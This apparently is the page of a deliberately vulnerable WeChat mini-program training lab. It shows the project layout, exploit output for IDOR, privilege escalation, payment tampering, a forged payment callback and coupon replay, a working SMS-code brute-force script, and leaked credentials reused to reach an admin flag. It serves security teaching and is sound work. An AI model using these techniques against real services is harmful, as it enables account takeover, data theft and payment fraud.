微信小程序漏洞靶场 · weapp-vuln-lab

1
weapp-vuln-lab/
2
├── server/
3
│   └── app.py              # 后端，所有 [VULN-xx] 都在这里
4
├── miniprogram/
5
│   ├── app.js              # baseUrl 在这里改
6
│   ├── app.json
7
│   ├── app.wxss
8
│   ├── sitemap.json
9
│   ├── utils/
10
│   │   ├── config.js       # [VULN-13] 硬编码密钥
11
│   │   └── request.js      # 统一请求封装
12
│   └── pages/
13
│       ├── index/          # 登录 + 商品 + 下单支付
14
│       ├── order/          # 订单列表 + 按订单号查询（IDOR 入口）
15
│       └── me/             # 个人信息 + 按 UID 查用户（越权入口）
16
├── tools/
17
│   └── verify.py           # 自检脚本，一条命令验证所有漏洞是否通
18
├── project.config.json
19
└── README.md

1
[+] alice token = a80721f4fcde4dae8e66f1107cd89725
2

3
--- VULN-03 IDOR: 用 alice 的 token 查 bob 的订单 2024100100002 ---
4
code=0 msg=ok
5
{
6
  "orderId": "2024100100002",
7
  "uid": "1002",
8
  "receiver": "鲍勃",
9
  "phone": "13800138002",
10
  "address": "陕西省西安市碑林区 YY 大道 88 号"
11
}
12

13
--- VULN-02 越权+debug: 查 bob 的资料并带 debug=1 ---
14
code=0 msg=ok
15
{
16
  "uid": "1002",
17
  "nickname": "鲍勃",
18
  "role": "user",
19
  "balance": 66.0,
20
  "phone": "13800138002",
21
  "idcard": "440101199808087777",
22
  "email": "bob@example.com"
23
}
24

25
--- VULN-10 垂直越权: 普通用户拉全量用户表 ---
26
code=0 msg=ok
27
{
28
  "total": 3,
29
  "list": [
30
    {
31
      "uid": "1",
32
      "username": "admin",
33
      "nickname": "超级管理员",
34
      "phone": "13900139000",
35
      "role": "admin",
36
      "balance": 0.0
37
    },
38
    {
39
      "uid": "1001",
40
      "username": "alice",
41
      "nickname": "爱丽丝",
42
      "phone": "13800138001",
43
      "role": "user",
44
      "balance": 128.5
45
    },
46
    {
47
      "uid": "1002",
48
      "username": "bob",
49
      "nickname": "鲍勃",
50
      "phone": "13800138002",
51
      "role": "user",
52
      "balance": 66.0
53
    }
54
  ]
55
}
56

57
[+] 新订单 1793236889003 原价 ￥399.0
58

59
--- VULN-04 改价: amount 传 0.01 ---
60
code=0 msg=支付成功
61
{
62
  "payNo": "PAY1793236889274",
63
  "amount": 0.01,
64
  "originAmount": 399.0,
65
  "orderId": "1793236889003"
66
}
67

68
--- VULN-06 伪造支付回调: 未登录直接把订单标记为已支付 ---
69
code=0 msg=回调已处理
70
{
71
  "orderId": "1793236889004",
72
  "status": "paid",
73
  "paidAmount": 0.01
74
}
75

76
[+] 验证码接口响应: {"code": 0, "msg": "验证码已发送", "data": {"phone": "13800138001", "expireIn": 300, "debugCode": "6171"}}
77

78
--- VULN-08 校验错误码，看提示是否可区分 ---
79
code=400 msg=验证码错误
80

81

82
--- VULN-07 直接用响应里的 debugCode 通过校验 ---
83
code=0 msg=验证通过
84
{
85
  "phone": "13800138001",
86
  "verified": true,
87
  "tries": 2
88
}
89

90
--- VULN-09 优惠券重放 5 次 ---
91
第 1 次: usedTimes=1 totalDiscount=10.0
92
第 2 次: usedTimes=2 totalDiscount=20.0
93
第 3 次: usedTimes=3 totalDiscount=30.0
94
第 4 次: usedTimes=4 totalDiscount=40.0
95
第 5 次: usedTimes=5 totalDiscount=50.0
96

97
--- flag 用普通用户 token ---
98
code=403 msg=权限不足，只有管理员能查看
99

100

101
[+] VULN-11 未授权拿到数据库口令: Root@2024!
102

103
--- 密码复用: 用上面泄露的口令登录 admin 再取 flag ---
104
code=0 msg=恭喜，你拿到了管理员权限
105
{
106
  "flag": "flag{wx_miniprogram_lab_pwned}"
107
}

1
{
2
    "code": 0,
3
    "msg": "ok",
4
    "data": {
5
        "orderId": "2024100100002",
6
        "uid": "1002",
7
        "goods": "\u964d\u566a\u84dd\u7259\u8033\u673a",
8
        "amount": 499.0,
9
        "status": "paid",
10
        "receiver": "\u9c8d\u52c3",
11
        "phone": "13800138002",
12
        "address": "\u9655\u897f\u7701\u897f\u5b89\u5e02\u7891\u6797\u533a YY \u5927\u9053 88 \u53f7",
13
        "remark": "\u4e0d\u8981\u653e\u53d1\u7968",
14
        "createdAt": "2024-10-02 14:05:10",
15
        "paidAmount": 0.01
16
    }
17
}

1
import json, urllib.request, time
2

3
B = "http://127.0.0.1:9000"
4
PHONE = "13800138001"
5

6
def post(path, data):
7
    req = urllib.request.Request(
8
        B + path, data=json.dumps(data).encode(),
9
        headers={"Content-Type": "application/json"}, method="POST")
10
    try:
11
        with urllib.request.urlopen(req, timeout=5) as r:
12
            return json.loads(r.read().decode())
13
    except urllib.error.HTTPError as e:
14
        return json.loads(e.read().decode())
15

16
post("/api/sms/send", {"phone": PHONE})
17

18
t0 = time.time()
19
for i in range(10000):
20
    code = "%04d" % i
21
    res = post("/api/sms/verify", {"phone": PHONE, "code": code})
22
    if res["code"] == 0:
23
        print("命中 %s，尝试 %d 次，耗时 %.1fs" % (code, i + 1, time.time() - t0))
24
        break
25
    if i % 1000 == 999:
26
        print("已试 %d 次，当前 msg: %s" % (i + 1, res["msg"]))

1
========================================================
2
  VULN-08 验证码爆破
3
  目标: http://127.0.0.1:9000  手机号: 13800138001
4
========================================================
5
[!] 响应里直接回显了验证码 debugCode=8670（VULN-07 成立）
6
[!] 本脚本仍然走爆破路径，证明修掉 07 也挡不住 08
7

8
[*] 开始爆破 4 位验证码（最多 10000 次）...
9

10
[*] 已试  1000 次  8831 req/s  最近返回: 验证码错误
11
[*] 已试  2000 次  9183 req/s  最近返回: 验证码错误
12
[*] 已试  3000 次  9306 req/s  最近返回: 验证码错误
13
[*] 已试  4000 次  9357 req/s  最近返回: 验证码错误
14
[*] 已试  5000 次  9388 req/s  最近返回: 验证码错误
15
[*] 已试  6000 次  9427 req/s  最近返回: 验证码错误
16
[*] 已试  7000 次  9450 req/s  最近返回: 验证码错误
17
[*] 已试  8000 次  9468 req/s  最近返回: 验证码错误
18

19
[+] 命中验证码: 8670
20
[+] 尝试次数  : 8671
21
[+] 耗时      : 0.91 秒（9479 req/s）
22
[+] 结论: 4 位码在无失败锁定下等价于 0 位 —— 10000 次必中

1
{
2
    "code": 0,
3
    "msg": "ok",
4
    "data": {
5
        "total": 3,
6
        "list": [
7
            {
8
                "uid": "1",
9
                "username": "admin",
10
                "nickname": "\u8d85\u7ea7\u7ba1\u7406\u5458",
11
                "phone": "13900139000",
12
                "role": "admin",
13
                "balance": 0.0
14
            },
15
            {
16
                "uid": "1001",
17
                "username": "alice",
18
                "nickname": "\u7231\u4e3d\u4e1d",
19
                "phone": "13800138001",
20
                "role": "user",
21
                "balance": 128.5
22
            },
23
            {
24
                "uid": "1002",
25
                "username": "bob",
26
                "nickname": "\u9c8d\u52c3",
27
                "phone": "13800138002",
28
                "role": "user",
29
                "balance": 66.0
30
            }
31
        ]
32
    }
33
}

1
{
2
    "code": 0,
3
    "msg": "ok",
4
    "data": {
5
        "appId": "wxdemo0000000000",
6
        "appSecret": "b7f3c1e9a24d4f8e9c0a1b2d3e4f5a6b",
7
        "ossAk": "LTAI5tDemoFakeKey123",
8
        "ossSk": "Qm9ndXNBMTIzNDU2Nzg5MGFiY2RlZg==",
9
        "smsAccessKey": "sms_live_9f8e7d6c5b4a3210",
10
        "db": {
11
            "host": "10.0.0.12",
12
            "port": 3306,
13
            "user": "root",
14
            "password": "Root@2024!",
15
            "database": "wxlab"
16
        }
17
    }
18
}